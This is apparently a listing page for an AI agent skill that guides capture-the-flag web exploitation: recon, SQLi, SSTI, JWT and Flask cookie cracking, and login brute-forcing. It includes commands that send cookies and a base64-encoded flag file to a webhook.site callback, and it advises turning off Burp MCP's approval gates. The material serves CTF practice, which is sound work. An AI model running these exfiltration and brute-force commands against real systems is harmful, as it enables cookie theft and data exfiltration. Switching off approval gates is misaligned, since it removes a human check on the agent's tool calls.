Provides web exploitation techniques for CTF challenges. Use when the target is primarily an HTTP application, API, browser client, template engine, identity flow, or smart-contract frontend/backend surface, including XSS, SQLi, SSTI, SSRF, XXE, JWT, auth bypass, file upload, request smuggling, OAuth/OIDC, SAML, prototype pollution, and similar web bugs. Do not use it for native binary memory corruption, reverse engineering of standalone executables, disk or memory forensics, or pure cryptanalysis unless the web flaw is still the main path to the flag.
76%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
Passed
No findings from the security scan
Fix and improve this skill with Tessl
tessl review fix ./ctf-web/SKILL.mdUse this skill as a routing and execution guide for web-heavy challenges. Keep the first pass short: map the app, confirm the trust boundary, and only then dive into the detailed technique notes.
Python packages (all platforms):
pip install sqlmap flask-unsign requests httpxLinux (apt):
apt install hashcat jq curlmacOS (Homebrew):
brew install hashcat jq curlGo tools (all platforms, requires Go):
go install github.com/ffuf/ffuf/v2@latestManual install:
bash scripts/install_ctf_tools.sh pat # PAT only
bash scripts/install_ctf_tools.sh all # all tools including PAT
# manual fallback:
git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThingsPAT is optional and on-demand — not required at load time. The skill works without it (graceful degrade):
pat-reference.mdprovides an offline index with exemplar payloads; bulk wordlists require the clone above.
MCP servers (optional): Playwright MCP (microsoft/playwright-mcp) for browser-dependent challenges (DOM XSS, admin bot, SPA client secrets) and Burp Suite MCP (PortSwigger/mcp-server) for wire-level work (header-level HTTP/1.1+HTTP/2 control, smuggling, blind SSRF/XXE via Collaborator, proxy-history regex mining) — see tools-mcp.md. Two things to do before relying on Burp MCP: start Burp before the agent, and turn off the two approval gates in Burp's MCP tab or the first tool call blocks on a modal dialog.
path.startswith bypass, Xalan XSLT math:random() seed guess, SoapClient _user_agent CRLF method smuggling, gopher:/// no-host URL scheme bypass, SSRF credential leak via attacker-specified outbound URLstd::unordered_set bucket collision auth bypass, nodeprep.prepare Unicode homograph username collision, SRP A=0/A=N auth bypass, ArangoDB AQL MERGE privilege escalationbrowser_network_requests lists endpoints but only browser_network_request part="response-body" returns payloads) and Burp Suite official MCP (27 tools, approval gates that block the agent on a modal dialog, target triple decoupling socket from Host: header, normalizeHttpContent rewriting CR/LF in the request prelude, map-based HTTP/2 that cannot express duplicate headers, send_to_intruder stages only, proxy history truncating items at 5000 chars, Collaborator payloadId/customData Pro-only); when to use each vs curl and ffuf/ctf-reverse first./ctf-pwn./ctf-crypto./ctf-forensics./ctf-osint.If you are stuck or want to see how others solved similar web challenges, follow the ctf-similar-search skill's methodology — describe the search request in natural language using the challenge name, competition name, or unique strings (code snippets, error messages) from the challenge:
"DASCTF URL Storage" "def encrypt_flag(key)"
This searches for reference writeups via Tavily API and can help identify the right exploitation path. Avoid generic terms like "SSRF" or "XSS" — use challenge-specific identifiers instead.
This skill works without PAT at load time (graceful degrade): pat-reference.md and inline exemplars are available offline; bulk payloads require a PAT clone. After mapping the trust boundary (First-Pass Workflow), check pat-reference.md for the PAT directory that matches your bug class, then search bulk payloads:
# PAT payload search (requires PAT clone — see Prerequisites; gracefully skipped if missing)
ls ctf-web/payloads/PayloadsAllTheThings 2>/dev/null | head
grep -R "onerror" "ctf-web/payloads/PayloadsAllTheThings/XSS Injection" 2>/dev/null | headOr via agent tools (no clone required for the index itself):
Glob ctf-web/payloads/PayloadsAllTheThings/**/*.md
Grep "union select" ctf-web/payloads/PayloadsAllTheThingsIf ctf-web/payloads/PayloadsAllTheThings/.git is missing, the agent lazy-clones on demand:
[ -d "ctf-web/payloads/PayloadsAllTheThings/.git" ] || git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings# Recon
curl -sI https://target.com
ffuf -u https://target.com/FUZZ -w wordlist.txt
curl -s https://target.com/robots.txt
# SQLi quick test
sqlmap -u "https://target.com/page?id=1" --batch --dbs
# JWT decode (no verification)
echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Cookie decode (Flask)
flask-unsign --decode --cookie '<cookie>'
flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt
# SSTI probes
curl "https://target.com/page?name={{7*7}}"
curl "https://target.com/page?name={{config}}"
# Request inspection
curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}'When a challenge requires brute-forcing a login form, follow these rules EXACTLY. Do NOT improvise.
Username is ALWAYS admin. Do NOT enumerate usernames. Do NOT create username lists. Even when the challenge says "弱口令" (weak password) or "常用用户名" (common usernames), those hints describe the PASSWORD — the target account is still admin. Only use a different username if the challenge gives a SPECIFIC different string (e.g., "the username is root").
Password file MUST be an existing Kali wordlist. The default is /usr/share/wordlists/metasploit/burnett_top_1024.txt. Do NOT create your own password file — no cat > passwords.txt, no hardcoded password lists in code, no reading from a local Top1000.txt. Your script must read lines from the Kali wordlist file directly.
For complex scenarios (CSRF tokens, frontend encryption, JSON APIs, Basic Auth, threading), see the reference scripts in auth-and-access.md — but those scripts must still follow the two rules above.
/robots.txt, /sitemap.xml, /.well-known/, /admin, /debug, /.git/, /.env.GET, POST, PUT, PATCH, TRACE, JSON, form, multipart, XML.For any exploit that needs a callback URL (XSS admin bot, SSRF exfiltration, OAuth redirect abuse, blind injection with out-of-band data), use webhook.site to instantly receive and inspect incoming requests.
Create a token (get a callback URL):
curl -X POST https://webhook.site/token
# Returns {"uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", ...}
# Your callback URL: https://webhook.site/<uuid>Use the callback URL in your exploit:
# XSS payload with webhook callback
curl -X POST https://target.com/api/report \
-H "Content-Type: application/json" \
-d '{"url": "https://webhook.site/<uuid>/steal?cookie=" + document.cookie}'
# SSRF exfiltration via webhook
curl "https://target.com/ssrf?url=https://webhook.site/<uuid>/?data=$(cat /flag.txt | base64)"
# OAuth redirect abuse
curl "https://target.com/auth?redirect=https://webhook.site/<uuid>/token"Retrieve the last received request:
curl "https://webhook.site/token/<uuid>/request/latest/raw" \
-H "accept: application/json" \
-H "api-key: <uuid>"When to use webhook.site vs Burp Collaborator vs interactsh:
Use field-notes.md once you have confirmed the challenge is truly web-heavy and you need the long exploit catalog.
/flag.txt, /flag, /app/flag.txt, /home/*/flag*/proc/self/environ, process command line, debug config dumpsflag, flags, secret, or seeded challenge contentdata-* attributes, inline state objects, source mapsljagiello/ctf-skills
ctf-web/SKILL.md
2ad85d3
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.